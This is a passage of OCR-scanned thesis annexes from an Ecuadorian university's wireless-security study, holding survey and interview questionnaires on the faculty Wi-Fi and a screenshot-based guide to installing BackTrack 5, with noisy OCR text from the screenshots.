para poder conectarse

c. Esta disponible pero no conecta L]
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10.- ;,Como considera el nivel de cobertura de la red inalambrica?

a. Puede acceder desde los exteriores del edificio y L]
y dentro del mismo.

b. Puede acceder solamente desde cualquier lugar L]
dentro del edificio.

c. Solo se puede acceder desde determinados lugares ]
del edificio.

11.- ¢Como considera el nivel de confiabilidad en seguridad en la red
inaldambrica?

a. Alta L]

b. Media L]

c. Baja []
12.- Cuando usted se conecta el nivel de la sefial es...

a. Buena L]

b. Media L]

c. Mala L]

GRACIAS POR SU COLABORACION

Fecha de aplicacion: .........o.iiiiiiiitii e
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6.12.3. Anexo 3: Entrevista

UNIVERSIDAD TECNICA DE AMBATO

FACULTAD DE INGENIERIA EN SISTEMAS ELECTRONICAE
INDUSTRIAL

LUGAR A ENTREVISTAR: FISEI

OBJETIVO DE LA ENTREVISTA: Adquirir informacién veraz que permita
justificar la investigacion y demostrar las necesidades de proteger la informacion que
viaja por la red inaldmbrica de la facultad.

CEDULA DE ENTREVISTA

1.- ¢ Qué tipos de mecanismos de seguridad posee la red inalambrica?

2.- ¢Cree que han existido robos de contrasefias a docentes en la red
inalambrica?

3.- ¢Han existido ataques a la red inaldmbrica? Si ha existido que se ha hecho
para sobrellevarla?

4.- ¢ Existe alguna forma de controlar el alcance de la sefial de la red inaldmbrica
de la FISEI?
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5.- ¢Con qué frecuencia existen problemas de caidas de la red inalambrica?

6.- ¢ Qué estandar de red usa la red inalambrica de la FISEI?

7.- ¢ De qué manera se lleva el control al acceso de la red inaldmbrica?

8.- ¢ Que puede considerar como un punto débil de la red inaldambrica?

9.- ¢Con qué frecuencia cambia el nombre y contrasefia por defecto del router o
punto de acceso, asi como el SSID por defecto?

10.- ¢Existe un plan de contingencia 0 una norma para el uso de la red
inalambrica y resolucion de problemas?
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11.- ¢Cree que el filtrado MAC es suficiente para el control del acceso a la red
inaldmbrica?

12.- ¢ Por qué razén no se hace uso del cifrado WPA2?

13.- ¢ La informacion que viaja en la red inalambrica es cifrada?

GRACIAS POR SU COLABORACION

Fecha de aplicacion: .........o.iiiiiiiiii i e
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6.12.4. Anexo 4: Detalle de la instalacion de Backtrack 5

Al iniciar con el live cd aparece la siguiente pantalla, y se escoge la primera opcion.

BackTrack Live CD

BackTrack Stealth — No Networking enabled
BackTrack Forensics No Driveor-swap
BackTrack Text - Default Boot ITexdtiadee
BackTrack Debug — Safe Modé

BackTrack Memtest — Run memtes

Hard Drive Boot boot the f[fg*st. hard d

ce hack | track [=

Press [Tabl to edit options

Automatic boot in 25 second

Grafico 6.42. BackTrack 5

Se debe escribir el comando startx para poder iniciar en modo gréafico.

8 .01455B81 registered taskstats version 1

[ .04Z20461 atal: SATA link up 3.0 Gbps (SStatus 123 SControl 300)

[ .0466491 atal. ATA-6: UBDX HARDDISK, 1.0, max UDMA-133

8 .0483961 atal. 83886080 sectors, multi 128: LBA48 NCQ (depth 31-32)
[ .0553921 atal. conf igured for UDMA~133
[ 0978221 scsi Direct-fAccess ATA UBOX HARDD ISK 1.0 PQ: 0 ANSI: 5

[ .0601561 =d 0 [sdal 830686080 512-byte logical blocks: (42.9 6B/40.0 GiB)

[ .0683151 sd 0 Attached scsi generic sg® type ©

8 0771941 scsi —ROM UBOX CD-ROM 1.0 PQ: 0 ANSI: 5

8 .0831921 sd 0:0: : I[sdal Urite Protect is off

[ 0933291 sr0: scsid-nmc drive: 32x-32x xasform2 tray

[ .0981621 cdrom: Uniform CD-ROM driver Revision: 3.20

L .1001661 =d 0:0:0:0: [sdal Urite cache: enabled, read cache: enabled, doesn’t support DPO or FUA
[ .1038701 sda: unknoun partition table

[ 1063861 sd 0 0: [sdal Attached SCSI disk

[ .111206] sr 2:0:0:0: Attached scsi generic sgl type 5

8 .1243601 rtc_cmos rtc_cmos: setting system clock to 2012-12-20 16:18:51 UTC (13560Z0331)

8 .1269261 BIDS EDD facility v0.16 2004-Jun-25, 0 devices found

[ .1286061 EDD information not available.

[ .1311421 Freeing unused kermel memory: 704k freed

[ .1335781 Urite protecting the kermel text: 5508k

[ .1356761 Urite protecting the kermel read-only data: 2108k

Loading, please wait...

[ 2268071 udev: starting version 151

[ .2388521 udevd (85): /procsB85/0om_adj is deprecated. please use /proc/B5/00m_score_adj instead.
[ .6310991 £1000: Intel(R) PRO-1000 Network Driver — version 7.3.21-kB-NAPI

[ .6382321 £1000: Copyright (c) 1999-2006 Intel Corporation.

[ 7462871 1000 0000:00:03.0: PCI INT A -> GSI 19 (level, low) -> IRQ 19

[ 5566031 1000 0000:00:03.0: eth0: (PCI:33MHz:32-bit) 08:00:27:7c:f2:ab

8 .5618321 1000 0000:00:03.0: ethd: Intel(R) PRO-1000 Network Commection

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU-Linux

System information disabled due to load higher than 1.0
i startx

> more you are able to hear.”

Grafico 6.43.  Startx
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Ya después de iniciar, dar doble click en el icono Install Backtrack.

Applications Places System | Ju Thu Dec 20, 9:53 AM

Install BackTrack

Grafico 6.44. Install BackTrack

Se inicia el proceso de instalacion, se configura el idioma.

[~ <mwms@lor

English + Bienvenido/a

{Esta listo para instalar? Una vez que haya contestado a
Esperanto _algunas preguntas, podra instalar en este equipo el
contenido de este live CD para que pueda usar BackTrack
) Live a la maxima velocidad sin necesitar el CD.
Frangais

Gaeilge
Galego
Hrvatski
Italiano
Kurdi
Latviski
Lietuviskai
Magyar
Nederlands

Euskara ‘

Solo le llevara algunos minutos responder a las preguntas.

Paso 1de 7 | Salir | | | | Adelante

Grafico 6.45.  Seleccionar Idioma
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Se escoge la ubicacion geografica, en este caso Ecuador (Guayaquil).

x 'Instalar

éDénde se encuentra?

Seleccione su ubicacion, de manera que el sistema pueda usar convenciones
apropiadas de pantalla para su pais, conseguir actualizaciones de sitios cercanos y
seleccionar la hora correcta en su reloj.

Region: | Ecuador [ v \ Zona horaria: |Ecuador (Guayaquil) [ 'W

Paso 2 de 7 | salir || Awas | | Adelante |

Gréfico 6.46.  Ubicacién Geogréfica

Se selecciona la Distribucion del teclado, en este caso se escoge Opcién Sugerida.

Distribucion del teclado

¢Cual es la distribucion mas parecida a la de su teclado?

© |Opcion sugeriga: Latino américa

O Deducir el mapa de teclado:

(O Seleccione la suya:

Kirgizstan A

Laos Latino américa - Eliminar teclas muerty
' Latino ameérica - Include dead tilde

Letonia Latino américa - Teclas muertas de Sur|

Lituania v

Puede escribir en este recuadro para probar su nueva distribucion de teclado:

Paso3de 7 | Salir I | Atras ] [Adelante]

Grafico 6.47.  Escoger teclado
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Para particionar el disco se elije para realizarlo manualmente.

¥ Instalar

Preparar el espacio del disco

Este equipo no tiene ningun sistema operativo.

(Donde desea poner BackTrack Live?

) Borrar y usar el disco entero

SCSI1 (0,0,0) (sda) - 8.6 GB ATA VBOX HARDDISK v

O [Especificar particiones manualmente (avanzado))|

I Especificar particiones manualmente (avanzado)

k

Paso 4 de 7 | Salir || Atras | Adelante

Grafico 6.48.  Particionamiento disco

A continuacion se da click en Nueva tabla de particion..., aparece un mensaje
alertando que las operaciones efectuadas no podran ser cambiadas, se da click en

Continuar.

Preparar particiones

r?_Tamann arn N e
particiones vacia en ¢

de
Ha seleccionado particionar el dispositivo completo. Si
continda creara una tabla de particiones en el dispositivo y

se eliminaran todas las particiones que existian
previamente.

Observe que podra deshacer esta operacion mas adelante
si lo desea.

Retroceder | Continuar | =

Nueva tabla de particién...| |A’1ar_l | |Ca-n:: a| |3cr"'a"| |Revertir|

Paso5de 8 | Salir || Atras | Adelante

Gréfico 6.49. Ejecutando script de prueba de version
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La primera particion es asignada para la memoria de intercambio.

Crear una particion nueva

Tipo de la nueva particién: © Primaria ) Logica

a|

Tamafio nuevo de la particion en MB (1.000.000 bytes): ’1024-|

Ubicacidn de la nueva particién: © Principio O Final
Utilizar como: | area de intercambio < v ‘
Punto de montaje: E

| Cancelar ‘ Aceptar

Gréfico 6.50. Asignando tamafio de particion

Se puede ver como ya esta asignado un valor para el swap, después se selecciona el
espacio libre que sobra y se da click en Aiadir.

x Instalar

Preparar particiones

™1 ]

[ sdal (linux-swap) [] Free space
1.0GB 41.9 GB

Dispositivo  Tipo Punto de montaje ¢Formatear? Tamafio Usado

/dev/sda
/dev/sdal swap 1023 MB  desconocido
espacio libre ® 41925 MB
L3
Nueva tabla de particion ’ [Aﬁadir...J orrar {ReveltifJ
Paso 5 de 8 [ salir ] | Atrés | l Adelante |

Grafico 6.51. Particiones creadas
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Se crea la segunda particion con el valor restante y se da click en Aceptar.

Crear una particion nueva
Tipo de la nueva particién: © Primaria O Logica
Tamario nuevo de la particion en MB (1.000.000 bytes): |41925 '_'
Ubicacién de la nueva particion: © Principio O Final
Utilizar como: | sistema de ficheros ext4 transaccional v |
Punto de montaje: |J‘ HE”
| Cancelar | | Aceplar |

Grafico 6.52.  Asignando tamafio de particion

Preparar particiones

[~ |

[ sdal (linux-swap) [ Free space
1.0 GB 41.9 GB

| ~ Espere por favor...

Espere por favor...

espacit

Nueva tabla de partic o-1...| |Aﬁadir...| Caml

Paso 5de 8

Gréfico 6.53.  Creando particion

Debe quedar el particionamiento como indica la siguiente imagen, después se da click

en Adelante.
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Preparar particiones

[ sdal (linux-swap) [ sda2 (ext4)
1.0GB 41.9GB

Dispositivo Tipo Punto de montaje ¢Formatear? §Tamaﬁo 'Usado

/dev/sdal swap 1023 MB desconocido
/dev/sda2 ext4 / 41924 MB desconocido
[Nueva tabla de partici()n...J IAmadxr,..l |Cambsarm] IBorrar‘ LRevertir]

Paso 5 de 8 | salir || Awas | | Adejante |

Gréfico 6.54. Ejecutando script de prueba de version

La siguiente imagen muestran las opciones que estan listas para ser instaladas. Y

finalmente se da click en Instalar.

¢ Instalar

Listo para instalar

Ahora se instalara su nuevo sistema operativo con las siguientes opciones:

Idioma: Espafiol

Distribucion del teclado: Latino américa
Nombre completo:

Nombre de usuario:

Localizacion: America/Guayaquil
Asistente de migracion:

Se escribiran en los discos todos los cambios indicados a continuacion si
continda. Si no lo hace podra hacer cambios manualmente.

v

Avanzado...

Paso 8 de 8 Salir || Atras | l Instaligr ‘
L3

Gréfico 6.55. Instalando Backtrack
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- Instalando el sistema

Creando ] para /en la particion ...

Grafico 6.56. Instalando Backtrack

Y finalmente la imagen del escritorio de Backtrack 5 cuando esta instalado.

\ Applications Places System [5 | 3 Frijan 4, 3:12PM

=

&

Install BackTrack

RESPALDOS

<< hack | track [=

P» [Ettter - File Browser]

Grafico 6.57.  Escritorio de Backtrack 5
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